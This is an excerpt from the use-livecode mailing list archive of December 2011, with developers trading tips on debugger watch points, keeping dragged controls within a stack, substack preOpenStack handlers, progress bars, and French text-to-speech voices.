Message-ID: Bob Sneidar writes: > > Thanks Mark. Known bug someone posted. Too bad, because I *REALLY* needed that functionality. So > PowerDebug works? I will try that instead. You can always force the issue: set the watchedvariables to ",,gVariable," -- Mark Wieder From bobs at twft.com Wed Dec 14 19:31:58 2011 From: bobs at twft.com (Bob Sneidar) Date: Wed, 14 Dec 2011 16:31:58 -0800 Subject: Possible bug setting a watch point In-Reply-To: References: <58044EB2-3B6D-4FC6-8FA4-A19595B913B5@twft.com> <17269540109.20111213131756@ahsoftware.net> <30DCB652-B7DD-4340-9144-1C3E45865294@twft.com> <33AFDCEA-35AD-4055-8D9A-3DAEF484B015@twft.com> Message-ID: Har! I did that, and as soon as the variable changed I crashed to desktop again! LOL! Bob On Dec 14, 2011, at 4:09 PM, Mark Wieder wrote: > Bob Sneidar writes: > >> >> Thanks Mark. Known bug someone posted. Too bad, because I *REALLY* needed that > functionality. So >> PowerDebug works? I will try that instead. > > You can always force the issue: > > set the watchedvariables to ",,gVariable," > > -- > Mark Wieder > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From bobs at twft.com Wed Dec 14 19:37:10 2011 From: bobs at twft.com (Bob Sneidar) Date: Wed, 14 Dec 2011 16:37:10 -0800 Subject: Possible bug setting a watch point In-Reply-To: References: <58044EB2-3B6D-4FC6-8FA4-A19595B913B5@twft.com> <17269540109.20111213131756@ahsoftware.net> <30DCB652-B7DD-4340-9144-1C3E45865294@twft.com> <33AFDCEA-35AD-4055-8D9A-3DAEF484B015@twft.com> Message-ID: Any way to invoke the debugger while idling? I have to continually set a breakpoint and then execute something to get the debugger to appear. Bob On Dec 14, 2011, at 4:09 PM, Mark Wieder wrote: > Bob Sneidar writes: > >> >> Thanks Mark. Known bug someone posted. Too bad, because I *REALLY* needed that > functionality. So >> PowerDebug works? I will try that instead. > > You can always force the issue: > > set the watchedvariables to ",,gVariable," > > -- > Mark Wieder > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From bobs at twft.com Wed Dec 14 19:40:52 2011 From: bobs at twft.com (Bob Sneidar) Date: Wed, 14 Dec 2011 16:40:52 -0800 Subject: Possible bug setting a watch point In-Reply-To: References: <58044EB2-3B6D-4FC6-8FA4-A19595B913B5@twft.com> <17269540109.20111213131756@ahsoftware.net> <30DCB652-B7DD-4340-9144-1C3E45865294@twft.com> <33AFDCEA-35AD-4055-8D9A-3DAEF484B015@twft.com> Message-ID: <42D6877B-7AE0-49E7-BAEB-ADFBC8D4B32A@twft.com> Seems even PowerDebug crashes when I set a watch on a variable. Bob On Dec 14, 2011, at 4:09 PM, Mark Wieder wrote: > Bob Sneidar writes: > >> >> Thanks Mark. Known bug someone posted. Too bad, because I *REALLY* needed that > functionality. So >> PowerDebug works? I will try that instead. > > You can always force the issue: > > set the watchedvariables to ",,gVariable," > > -- > Mark Wieder > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From mikekann at yahoo.com Wed Dec 14 20:01:38 2011 From: mikekann at yahoo.com (Michael Kann) Date: Wed, 14 Dec 2011 17:01:38 -0800 (PST) Subject: French Ears In-Reply-To: <0953BB7B-D511-425D-BFF7-BD0DE4C06D01@wanadoo.fr> Message-ID: <1323910898.65231.YahooMailClassic@web161601.mail.bf1.yahoo.com> Dear Francophiles, Thank you very much for the feedback on the computer speech. Sorry to be a pest. Would it be a bother to compare these two websites and let me know which one sounds better? http://www2.research.att.com/~ttsweb/tts/demo.php#top http://imtranslator.net/translate-and-speak/ --- on this site you have to uncheck the box in the upper left if you only want the pronunciation, not a translation Thanks to all, Michael --- On Wed, 12/14/11, Francis Nugent Dixon wrote: From: Francis Nugent Dixon Subject: Re: French Ears To: use-livecode at lists.runrev.com Date: Wednesday, December 14, 2011, 5:29 PM Hi from Beautiful Brittany. Michael wrote : > I'm not interested in the translations, just the quality of the French accent. Michael, it's the best French speech I have ever heard (I have 45 years of French, in France, under my belt !) However, computer speech is monotonous (great difficulty in placing tonic accents). I think the weather will change tomorrow i THINK the weather will change tomorrow i think the WEATHER will change tomorrow i think the weather will CHANGE tomorrow i think the weather will change TOMORROW Same sentence - at least five ways of saying it ! And this is just the tonic accent in a complete word. When you have a multi-syllable word, placement of the tonic accent is capital. Take any three or four syllable word and say it with the tonic accent in the wrong place. Odds are that even an Englishman would say ...... "I beg your pardon" ! Although tonic accents are far less important to French speech, they do exist ! However, forgetting the tonic accent, the FRENCH accent on this site is damned good ! HTH -Francis "Nothing should ever be done for the first time !" _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From selander at tkf.att.ne.jp Wed Dec 14 20:41:42 2011 From: selander at tkf.att.ne.jp (Tim Selander) Date: Thu, 15 Dec 2011 10:41:42 +0900 Subject: French Ears In-Reply-To: References: <0953BB7B-D511-425D-BFF7-BD0DE4C06D01@wanadoo.fr> Message-ID: <4EE95056.70807@tkf.att.ne.jp> (I should probably let one of the native Japanese people on this list answer, but...) I don't know French, and am not precisely sure what you mean by 'tonic accents' and am not a linguist, so don't know the proper term, but in Japanese each syllable of a word has exactly the same beat or rhythm, so it sounds rather staccato to an English speaker. But the voice can rise in pitch, stay flat, or drop in pitch for each syllable. To foreign ears, it is a very, very slight change -- but of course a very obvious change to native speakers. And that slight change in pitch can completely change the meaning of a word. The language has a gazzillion (yes, I believe that is the proper technical term ;-) homonyms. Just one example: "Hashi" = chopsticks "Hashi" = bridge "Hashi" = the edge, like the edge of a table and the slight up/down/flat pitch combinations of the two syllables determines which word, (chopsticks, bridge or edge), you are saying. HTH Tim Selander Tokyo, Japan On 12/15/11 8:51 AM, Bob Sneidar wrote: > I have heard that Japanese has no tonic accents. Is that true? > > Bob > > On Dec 14, 2011, at 3:29 PM, Francis Nugent Dixon wrote: > >> Hi from Beautiful Brittany. >> >> Michael wrote : >> >>> I'm not interested in the translations, just the quality of the French accent. >> >> Michael, it's the best French speech I have ever heard (I have 45 years of >> French, in France, under my belt !) >> >> However, computer speech is monotonous (great difficulty in placing tonic >> accents). >> >> I think the weather will change tomorrow >> i THINK the weather will change tomorrow >> i think the WEATHER will change tomorrow >> i think the weather will CHANGE tomorrow >> i think the weather will change TOMORROW >> >> Same sentence - at least five ways of saying it ! >> >> And this is just the tonic accent in a complete word. When you have a >> multi-syllable word, placement of the tonic accent is capital. >> Take any three or four syllable word and say it with the tonic accent >> in the wrong place. Odds are that even an Englishman would say ...... >> "I beg your pardon" ! >> >> Although tonic accents are far less important to French speech, they do exist ! >> >> However, forgetting the tonic accent, the FRENCH accent on this site is damned good ! >> >> HTH >> >> -Francis >> >> "Nothing should ever be done for the first time !" >> >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From kgjaqua1 at sbcglobal.net Wed Dec 14 20:49:09 2011 From: kgjaqua1 at sbcglobal.net (Kathy Jaqua) Date: Wed, 14 Dec 2011 17:49:09 -0800 (PST) Subject: "grab me" script off page Message-ID: <1323913749.80441.YahooMailRC@web82705.mail.mud.yahoo.com> Hi It has been a long time. Does anyone have a script as to how I might keep a field from moving past the edge of a stack (No longer to be seen). That is to say, In a "grab me" script how do I stop a user dragging a field (or graphic ) past a point on a stack. Thank you for your time and trouble Kathy Grave Jaqua A Wildest Dream Software From bobs at twft.com Wed Dec 14 21:14:03 2011 From: bobs at twft.com (Bob Sneidar) Date: Wed, 14 Dec 2011 18:14:03 -0800 Subject: French Ears In-Reply-To: <4EE95056.70807@tkf.att.ne.jp> References: <0953BB7B-D511-425D-BFF7-BD0DE4C06D01@wanadoo.fr> <4EE95056.70807@tkf.att.ne.jp> Message-ID: <93821359-E925-49A4-970E-22469340EE04@twft.com> So if you wanted to say that you made a bridge of chopsticks on the edge of the table you would say, "Hashi hashi hashi!"? Sorry I couldn't resist! Bob On Dec 14, 2011, at 5:41 PM, Tim Selander wrote: > (I should probably let one of the native Japanese people on this list answer, but...) > > I don't know French, and am not precisely sure what you mean by 'tonic accents' and am not a linguist, so don't know the proper term, but in Japanese each syllable of a word has exactly the same beat or rhythm, so it sounds rather staccato to an English speaker. > > But the voice can rise in pitch, stay flat, or drop in pitch for each syllable. To foreign ears, it is a very, very slight change -- but of course a very obvious change to native speakers. And that slight change in pitch can completely change the meaning of a word. The language has a gazzillion (yes, I believe that is the proper technical term ;-) homonyms. Just one example: > "Hashi" = chopsticks > "Hashi" = bridge > "Hashi" = the edge, like the edge of a table > > and the slight up/down/flat pitch combinations of the two syllables determines which word, (chopsticks, bridge or edge), you are saying. > > HTH > > Tim Selander > Tokyo, Japan From bobs at twft.com Wed Dec 14 21:18:52 2011 From: bobs at twft.com (Bob Sneidar) Date: Wed, 14 Dec 2011 18:18:52 -0800 Subject: "grab me" script off page In-Reply-To: <1323913749.80441.YahooMailRC@web82705.mail.mud.yahoo.com> References: <1323913749.80441.YahooMailRC@web82705.mail.mud.yahoo.com> Message-ID: <435B6D28-0806-4870-B8DD-2451B7B1E2C8@twft.com> I think you can trap for the dragMove message, then compare the edges of the object with the same bounds of the window itself. I would suggest however, that you issue a wait for x milliseconds with messages to allow the engine to keep up, and pass dragMove in your handler. That is just off the top of my head tho'. Bob On Dec 14, 2011, at 5:49 PM, Kathy Jaqua wrote: > Hi It has been a long time. > > Does anyone have a script as to how I might keep a field from moving past the > edge of a stack (No longer to be seen). > That is to say, In a "grab me" script how do I stop a user dragging a field > (or graphic ) past a point on a stack. > > Thank you for your time and trouble > Kathy Grave Jaqua > A Wildest Dream Software > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From mwieder at ahsoftware.net Wed Dec 14 21:21:52 2011 From: mwieder at ahsoftware.net (Mark Wieder) Date: Wed, 14 Dec 2011 18:21:52 -0800 Subject: Possible bug setting a watch point In-Reply-To: <42D6877B-7AE0-49E7-BAEB-ADFBC8D4B32A@twft.com> References: <58044EB2-3B6D-4FC6-8FA4-A19595B913B5@twft.com> <17269540109.20111213131756@ahsoftware.net> <30DCB652-B7DD-4340-9144-1C3E45865294@twft.com> <33AFDCEA-35AD-4055-8D9A-3DAEF484B015@twft.com> <42D6877B-7AE0-49E7-BAEB-ADFBC8D4B32A@twft.com> Message-ID: <14374176359.20111214182152@ahsoftware.net> Bob- Wednesday, December 14, 2011, 4:40:52 PM, you wrote: > Seems even PowerDebug crashes when I set a watch on a variable. That's not good. What kind of mojo variables are you dealing with anyway? I tested setting global watched variables before posting just to make sure it wasn't wishful thinking on my part and it worked like a charm. Are you declaring the global inside a handler or in the main body of the script? Does it make a difference? (hint: it shouldn't, but ya never know...) -- -Mark Wieder mwieder at ahsoftware.net From mwieder at ahsoftware.net Wed Dec 14 21:25:19 2011 From: mwieder at ahsoftware.net (Mark Wieder) Date: Wed, 14 Dec 2011 18:25:19 -0800 Subject: Possible bug setting a watch point In-Reply-To: References: <58044EB2-3B6D-4FC6-8FA4-A19595B913B5@twft.com> <17269540109.20111213131756@ahsoftware.net> <30DCB652-B7DD-4340-9144-1C3E45865294@twft.com> <33AFDCEA-35AD-4055-8D9A-3DAEF484B015@twft.com> Message-ID: <110374383078.20111214182519@ahsoftware.net> Bob- Wednesday, December 14, 2011, 4:37:10 PM, you wrote: > Any way to invoke the debugger while idling? I have to > continually set a breakpoint and then execute something to get the > debugger to appear. It's a pain, isn't it? I made a plugin a while back to do that and put it in the old revOnline but never did put it on the new one. What you can do is open the messagebox and say set the tracestack to "" and then the next statement that's executed in the stack will open the debugger. -- -Mark Wieder mwieder at ahsoftware.net From bobs at twft.com Wed Dec 14 21:35:29 2011 From: bobs at twft.com (Bob Sneidar) Date: Wed, 14 Dec 2011 18:35:29 -0800 Subject: Possible bug setting a watch point In-Reply-To: <14374176359.20111214182152@ahsoftware.net> References: <58044EB2-3B6D-4FC6-8FA4-A19595B913B5@twft.com> <17269540109.20111213131756@ahsoftware.net> <30DCB652-B7DD-4340-9144-1C3E45865294@twft.com> <33AFDCEA-35AD-4055-8D9A-3DAEF484B015@twft.com> <42D6877B-7AE0-49E7-BAEB-ADFBC8D4B32A@twft.com> <14374176359.20111214182152@ahsoftware.net> Message-ID: <30E89F0F-C109-45EA-95BB-09FB63AAD57F@twft.com> It's a global declared outside of a handler, in the stack script. Bob On Dec 14, 2011, at 6:21 PM, Mark Wieder wrote: > Bob- > > Wednesday, December 14, 2011, 4:40:52 PM, you wrote: > >> Seems even PowerDebug crashes when I set a watch on a variable. > > That's not good. What kind of mojo variables are you dealing with > anyway? I tested setting global watched variables before posting just > to make sure it wasn't wishful thinking on my part and it worked like > a charm. Are you declaring the global inside a handler or in the main > body of the script? Does it make a difference? (hint: it shouldn't, > but ya never know...) > > -- > -Mark Wieder > mwieder at ahsoftware.net > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From roger.e.eller at sealedair.com Wed Dec 14 21:36:45 2011 From: roger.e.eller at sealedair.com (Roger Eller) Date: Wed, 14 Dec 2011 21:36:45 -0500 Subject: "grab me" script off page In-Reply-To: <1323913749.80441.YahooMailRC@web82705.mail.mud.yahoo.com> References: <1323913749.80441.YahooMailRC@web82705.mail.mud.yahoo.com> Message-ID: On Wed, Dec 14, 2011 at 8:49 PM, Kathy Jaqua wrote: > Hi It has been a long time. > > Does anyone have a script as to how I might keep a field from moving past > the > edge of a stack (No longer to be seen). > That is to say, In a "grab me" script how do I stop a user dragging a > field > (or graphic ) past a point on a stack. > > Thank you for your time and trouble > Kathy Grave Jaqua > A Wildest Dream Software It was the year 2003... :) min/max ought to do it. http://www.mail-archive.com/use-revolution at lists.runrev.com/msg10273.html ?Roger From kgjaqua1 at sbcglobal.net Wed Dec 14 21:38:57 2011 From: kgjaqua1 at sbcglobal.net (Kathy Jaqua) Date: Wed, 14 Dec 2011 18:38:57 -0800 (PST) Subject: "grab me" script off page Message-ID: <1323916737.91903.YahooMailRC@web82701.mail.mud.yahoo.com> Thank Bob, I am not quiet sure what you mean. I am just dragging a graphic inside a stack. How does one trap for something. Could you be a bit more specific? It's been a while... Kathy Graves Jaqua From bobs at twft.com Wed Dec 14 21:43:02 2011 From: bobs at twft.com (Bob Sneidar) Date: Wed, 14 Dec 2011 18:43:02 -0800 Subject: Possible bug setting a watch point In-Reply-To: <110374383078.20111214182519@ahsoftware.net> References: <58044EB2-3B6D-4FC6-8FA4-A19595B913B5@twft.com> <17269540109.20111213131756@ahsoftware.net> <30DCB652-B7DD-4340-9144-1C3E45865294@twft.com> <33AFDCEA-35AD-4055-8D9A-3DAEF484B015@twft.com> <110374383078.20111214182519@ahsoftware.net> Message-ID: Oh easy enough. I can use the message box and do something like: set the tracestack to "myStack";send "boo" to stack "myStack" Of course I have to have a handler named "boo" and there has to be a command to run, but it works. Bob On Dec 14, 2011, at 6:25 PM, Mark Wieder wrote: > set the tracestack to "" > > and then the next statement that's executed in the stack will open the > debugger. From bobs at twft.com Wed Dec 14 21:44:21 2011 From: bobs at twft.com (Bob Sneidar) Date: Wed, 14 Dec 2011 18:44:21 -0800 Subject: Independent Progress Bar In-Reply-To: References: <4EE90B92.6090909@fourthworld.com> <50F3616A-910B-43A0-B1B0-A02FAA0CB54D@twft.com> <7EBAB291-5B99-4B19-86E2-0521F0677E3A@twft.com> Message-ID: <20F333EF-574A-46F4-AF0D-CC908F56BBB8@twft.com> So anyway, this is fairly simple to implement, I have it working, but I still have to use an Applescript command to tell it to launch. All other interactions can be done using send to program and trapping the apple event using on appleEvent. By setting the systemWindow of the stack to true before compiling it, the app window will float above everything else. It's a very elegant solution to a sticky problem. Maybe someone at Runrev will ask me to write up an article about it! I wonder now if I can get rid of the one Application menu. I don't guess so, but I thought I would ask. Bob On Dec 14, 2011, at 4:03 PM, Mike Bonner wrote: > If its apple only, can you use "send to program" to control your twirly > stack? No mac here anymore so can't try it. From kgjaqua1 at sbcglobal.net Wed Dec 14 22:05:48 2011 From: kgjaqua1 at sbcglobal.net (Kathy Jaqua) Date: Wed, 14 Dec 2011 19:05:48 -0800 (PST) Subject: "grab me" script off page Message-ID: <1323918348.49389.YahooMailRC@web82704.mail.mud.yahoo.com> Thank you Roger, I have been using livecode again since April and finish me projects. I feel much, much better now. Yea! Kathy Graves Jaqua From m.schonewille at economy-x-talk.com Wed Dec 14 22:10:52 2011 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Thu, 15 Dec 2011 04:10:52 +0100 Subject: "grab me" script off page In-Reply-To: <1323916737.91903.YahooMailRC@web82701.mail.mud.yahoo.com> References: <1323916737.91903.YahooMailRC@web82701.mail.mud.yahoo.com> Message-ID: <59BB77C0-4FCD-4D04-9F98-5B606B0A4DD7@economy-x-talk.com> Kathy, This does what you want. on mouseDown put the rect of this cd into myRect put the mouseLoc into myMouseLoc put item 1 of myMouseLoc - item 1 of the loc of me & comma & item 2 of \ the mouseLoc - item 2 of the loc of me into myDiff repeat until the mouse is up with messages put item 1 of the mouseLoc - item 1 of myDiff & comma & item 2 of \ the mouseLoc - item 2 of myDiff into myNewLoc put the width of me / 2 into myWMargin put the height of me / 2 into myHMargin if item 1 of myNewLoc - myWMargin < 0 then put myWMargin into item 1 of myNewLoc else if item 1 of myNewLoc + mywMargin > the width of this cd then put the width of this cd - myWMargin into item 1 of myNewLoc end if if item 2 of myNewLoc - myHMargin < 0 then put myHMargin into item 2 of myNewLoc else if item 2 of myNewLoc + myHMargin > the height of this cd then put the height of this cd - myHMargin into item 2 of myNewLoc end if set the loc of me to myNewLoc wait 0 millisecs with messages end repeat end mouseDown -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Become our partner in sales http://qery.us/1bq Start selling Color Converter today. 20% commission! On 15 dec 2011, at 03:38, Kathy Jaqua wrote: > Thank Bob, > > I am not quiet sure what you mean. > I am just dragging a graphic inside a stack. > How does one trap for something. > > Could you be a bit more specific? It's been a while... > > Kathy Graves Jaqua From bobs at twft.com Wed Dec 14 22:12:08 2011 From: bobs at twft.com (Bob Sneidar) Date: Wed, 14 Dec 2011 19:12:08 -0800 Subject: "grab me" script off page In-Reply-To: <1323916737.91903.YahooMailRC@web82701.mail.mud.yahoo.com> References: <1323916737.91903.YahooMailRC@web82701.mail.mud.yahoo.com> Message-ID: <1C7CF6A7-44CF-4F24-AB07-CBC776FD3381@twft.com> Okay I just checked it out, and the dragMove is not getting sent at all with the pointer tool selected. So I turned on the message watcher to see what messages DO get sent. I found one, but it doesn't get sent until AFTER you let go of the object. Still, it can work for you I think. Put this into your stack script: on moveControl put the selectedobject into theObject put the top of theObject into myTop put the left of theObject into myLeft put the bottom of theObject into myBottom -- sorry it just works out that way. put the right of theObject into myRight if myTop < 0 then set the top of theObject to 0 end if if myLeft < 0 then set the left of theObject to 0 end if if myBottom > the height of this stack then set the bottom of theObject to the height of this stack end if if myRight > the width of this stack then set the right of theObject to the width of this stack end if pass moveControl end moveControl That is the best I can do. There may be hidden messages that are getting sent during a drag operation with the pointer, but I am not aware of it. This script above will reposition any object that was dragged off screen, even partially to a position touching the edge it was dragged beyond. Give it a try. Bob On Dec 14, 2011, at 6:38 PM, Kathy Jaqua wrote: > Thank Bob, > > I am not quiet sure what you mean. > I am just dragging a graphic inside a stack. > How does one trap for something. > > Could you be a bit more specific? It's been a while... > > Kathy Graves Jaqua > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From kgjaqua1 at sbcglobal.net Wed Dec 14 22:27:14 2011 From: kgjaqua1 at sbcglobal.net (Kathy Jaqua) Date: Wed, 14 Dec 2011 19:27:14 -0800 (PST) Subject: "grab Me" script off page Message-ID: <1323919634.26505.YahooMailRC@web82702.mail.mud.yahoo.com> Wow! These are great script and both of you are fast. THANK YOU so much Kathy Graves Jaqua From calhorner at xtra.co.nz Wed Dec 14 18:21:44 2011 From: calhorner at xtra.co.nz (Cal Horner) Date: Thu, 15 Dec 2011 12:21:44 +1300 (New Zealand Daylight Time) Subject: There's always a first time or tips for young players Message-ID: <4EE92F6C.000003.05480@CALS_BIG_PC> I know that I'm not a young player and this tip has probably been floating around for years but here's what happened to me and how I got around the trap. As a standard (self-imposed) I always set up a preopenstack handler in my main stack. Now, I know for some of you that will be an AHA moment, but it works for me. So, I'm building this stack you see, and I;ve stuck in all the standard handlers that I want, including my faithful preopenstack. Then I built a substack that I wanted to hold data I've collected, while I or the application edits it and distributes the data to its proper location. Seems simple enough even to an old duffer like me. The only problem I ran into was every time I go to the substack I end up in the mainstack preopenstack handler. Blah. How do I work around this misdirection? Simple in the scheme of things. I built a dummy preopenstack in the substack and went no further. Not too elegant I admit and I'll bow my head to anyone on the list that comes up with a better answer. All I can say is it works. Merry Christmas and a Happy New Year to you all. Cal. From bvlahos at mac.com Wed Dec 14 23:19:32 2011 From: bvlahos at mac.com (Bill Vlahos) Date: Wed, 14 Dec 2011 20:19:32 -0800 Subject: "grab me" script off page In-Reply-To: <1323918348.49389.YahooMailRC@web82704.mail.mud.yahoo.com> References: <1323918348.49389.YahooMailRC@web82704.mail.mud.yahoo.com> Message-ID: Welcome back Kathy! Bill Vlahos _________________ InfoWallet (http://www.infowallet.com) is about keeping your important life information with you, accessible, and secure. On Dec 14, 2011, at 7:05 PM, Kathy Jaqua wrote: > Thank you Roger, > > I have been using livecode again since April and finish me projects. > I feel much, much better now. Yea! > > Kathy Graves Jaqua > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From mwieder at ahsoftware.net Wed Dec 14 23:37:47 2011 From: mwieder at ahsoftware.net (Mark Wieder) Date: Wed, 14 Dec 2011 20:37:47 -0800 Subject: There's always a first time or tips for young players In-Reply-To: <4EE92F6C.000003.05480@CALS_BIG_PC> References: <4EE92F6C.000003.05480@CALS_BIG_PC> Message-ID: <33382331515.20111214203747@ahsoftware.net> Cal- Wednesday, December 14, 2011, 3:21:44 PM, you wrote: > How do I work around this misdirection? Simple in the scheme of things. I > built a dummy preopenstack in the substack and went no further. Yep. That'll hit everyone sooner or later. Your approach is one way to deal with it. And if you have multiple substacks you'll need a preOpenStack handler in each one. The same thing applies if you have an openstack handler, closeStack, etc. Another approach is to put the preOpenStack handler in the script of the first card in the stack instead of in the stack script. The card gets the message first anyway, and if there's no handler the message gets passed on down to the stack script. But placing those handlers in the card script keeps them out of the way of the substacks. -- -Mark Wieder mwieder at ahsoftware.net From kgjaqua1 at sbcglobal.net Thu Dec 15 01:25:54 2011 From: kgjaqua1 at sbcglobal.net (Kathy Jaqua) Date: Wed, 14 Dec 2011 22:25:54 -0800 (PST) Subject: "grab me" script off page Message-ID: <1323930354.36725.YahooMailRC@web82705.mail.mud.yahoo.com> Bill, Thank you. You have always been a bright spot in my life. Kathy Graves Jaqua From admin at FlexibleLearning.com Thu Dec 15 02:14:16 2011 From: admin at FlexibleLearning.com (FlexibleLearning) Date: Thu, 15 Dec 2011 07:14:16 -0000 Subject: Independent Progress Bar In-Reply-To: Message-ID: If you mean an indeterminate progress indicator then yes, use an animated gif with the judicious use of repeatCount (-1 to start and 0 to stop). If you want a modal progress bar that works independently (as in non-blocking) then open the modal invisible first and increment your own bar as required. Both will 'stall' if LC is performing a blocking and time-consuming operation unless it is returning a trappable value (such as a 'bites downloaded' callback) that you can use. Hugh Senior FLCo Original message: Hi all. I know this has been discussed in length in the past, but I cannot remember what the conclusion was. Does anyone have/know about an independent progress bar/wheel that can be used with Livecode, that will function independently even when Livecode is running a script? I know I could kludge it myself if I had control over the scripts I am running, but I do not. One script is Trevor's sqlYoga which is locked, and also I am opening an SQL database remotely, and it takes a few seconds sometimes to have that return control. What is needed is an addon dialog created in some version of C that we can call on to display a progress bar/spinner, but I am not sure if anyone has made such a thing. Seems like a really good addition to Livecode, but I don't think we are going to see something like that soon. Bob From ludovic.thebault at laposte.net Thu Dec 15 05:29:13 2011 From: ludovic.thebault at laposte.net (=?iso-8859-1?Q?Ludovic_Th=E9bault?=) Date: Thu, 15 Dec 2011 11:29:13 +0100 Subject: Convert Excel date Message-ID: <7C15907F-37B5-4A3C-AE62-4635B4B4C0C9@laposte.net> Hello, I've a csv file created by excel. Dates are displayed in numbers. (1/01/1900 = 1 so today = 40892) Is there a script to convert it in a real date with livecode ? Thanks ! From sschvarstein at gmail.com Thu Dec 15 05:29:31 2011 From: sschvarstein at gmail.com (Sergio Schvarstein) Date: Thu, 15 Dec 2011 11:29:31 +0100 Subject: Accessing the bundles files in the sandbox Message-ID: <287752B7-7300-48B4-BBF7-03F16954E436@gmail.com> Thanks Mark and John. :-) So, "file:" is not needed, and the solution is: set the filename of image theImage to specialFolderPath("engine") & "/media/img_01.jpg" I've just tried it and works perfect ! ______________________________ Sergio Schvarstein sschvarstein at gmail.com ______________________________ From rene.micout at numericable.com Thu Dec 15 05:53:25 2011 From: rene.micout at numericable.com (=?iso-8859-1?Q?Ren=E9_Micout?=) Date: Thu, 15 Dec 2011 11:53:25 +0100 Subject: French Ears In-Reply-To: <1323910898.65231.YahooMailClassic@web161601.mail.bf1.yahoo.com> References: <1323910898.65231.YahooMailClassic@web161601.mail.bf1.yahoo.com> Message-ID: <1D54F879-75E8-4E42-80E5-BA8EFC609713@numericable.com> Le 15 d?c. 2011 ? 02:01, Michael Kann a ?crit : > Dear Francophiles, > > Thank you very much for the feedback on the computer speech. > > Sorry to be a pest. Would it be a bother to compare these two websites and let me know which one sounds better? > > http://www2.research.att.com/~ttsweb/tts/demo.php#top Alain (male) : not very good, a little bit British accent, problem with "an' pronunciation... Juliette (female) : the best I think... Arnaud (male CA) : Canada ! > > http://imtranslator.net/translate-and-speak/ Female voice : good but computer voice sometimes... > > --- on this site you have to uncheck the box in the upper left if you only want the pronunciation, not a translation > > Thanks to all, > > Michael From mikekann at yahoo.com Thu Dec 15 07:22:20 2011 From: mikekann at yahoo.com (Michael Kann) Date: Thu, 15 Dec 2011 04:22:20 -0800 (PST) Subject: French Ears In-Reply-To: <1D54F879-75E8-4E42-80E5-BA8EFC609713@numericable.com> Message-ID: <1323951740.41536.YahooMailClassic@web161605.mail.bf1.yahoo.com> Rene, Thanks to everyone for taking the time to test the voices. Monoglot Mike --- On Thu, 12/15/11, Ren? Micout wrote: From: Ren? Micout Subject: Re: French Ears To: "How to use LiveCode" Date: Thursday, December 15, 2011, 4:53 AM Le 15 d?c. 2011 ? 02:01, Michael Kann a ?crit : > Dear Francophiles, > > Thank you very much for the feedback on the computer speech. > > Sorry to be a pest. Would it be a bother to compare these two websites and let me know which one sounds better? > > http://www2.research.att.com/~ttsweb/tts/demo.php#top Alain (male) : not very good, a little bit British accent, problem with "an' pronunciation... Juliette (female) : the best I think... Arnaud (male CA) : Canada ! > > http://imtranslator.net/translate-and-speak/ Female voice : good but computer voice sometimes... > > --- on this site you have to uncheck the box in the upper left if you only want the pronunciation, not a translation > > Thanks to all, > > Michael _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From gspearson at gmail.com Thu Dec 15 08:31:38 2011 From: gspearson at gmail.com (Graham Pearson) Date: Thu, 15 Dec 2011 08:31:38 -0500 Subject: Clearing Contents of Field Message-ID: <4EE9F6BA.40507@gmail.com> In upgrading a previous project in 4.5 to 5.0, I am having a problem with a line of code that would clear the contents of an email address when no records were retrieved from the SQLite DB. I have changed the line to read set the content of field "Email Address Field" to "" The field "Email Address Field" has an ID of 1017 and I have put the above code on the preOpenCard and on the openCard which does not have any effect. Is their a list of the [properties] that can be referenced on a field so that I can refer to the list in the future. From m.schonewille at economy-x-talk.com Thu Dec 15 08:41:12 2011 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Thu, 15 Dec 2011 14:41:12 +0100 Subject: Clearing Contents of Field In-Reply-To: <4EE9F6BA.40507@gmail.com> References: <4EE9F6BA.40507@gmail.com> Message-ID: <66FA031A-DECB-4409-9D5D-FB868BF902D4@economy-x-talk.com> Hi Graham, For a complete list of properties, use the propertyNames function or look in the dictionary. There is no simple way to get a list of all (possible) properties of a particular object. The content would be a custom property. If you look in the inspector of your object, you will see that a custom property with this name has been created. To erase the contents of field x, use put empty into fld x -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Become our partner in sales http://qery.us/1bq Start selling Color Converter today. 20% commission! On 15 dec 2011, at 14:31, Graham Pearson wrote: > In upgrading a previous project in 4.5 to 5.0, I am having a problem > with a line of code that would clear the contents of an email address > when no records were retrieved from the SQLite DB. I have changed the > line to read > > > set the content of field "Email Address Field" to "" > > > The field "Email Address Field" has an ID of 1017 and I have put 